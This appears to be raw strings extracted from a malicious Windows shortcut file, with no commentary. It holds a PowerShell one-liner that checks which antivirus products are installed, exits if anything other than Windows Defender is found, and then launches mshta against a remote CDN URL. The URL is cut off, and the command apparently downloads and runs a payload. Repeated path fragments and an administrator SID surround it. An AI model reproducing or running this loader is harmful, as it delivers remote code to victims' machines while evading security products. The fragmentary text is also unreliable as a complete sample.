Windows
System32
WindowsPowerShell
powershell.exe
Windows
System32
WindowsPowerShell
powershell.exe
powershell?..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
$z = Get-WmiObject -Namespace 'root\SecurityCenter2' -Class AntiVirusProduct -ComputerName $env:computername;foreach($Q in $z ){if ($Q.displayName -replace 'Windows Defender', ''){Exit}}.'mshta'https://mato3f.b-cdn.net/town-fil
shell32.dll
S-1-5-21-1058994278-4207698791-1477402829-500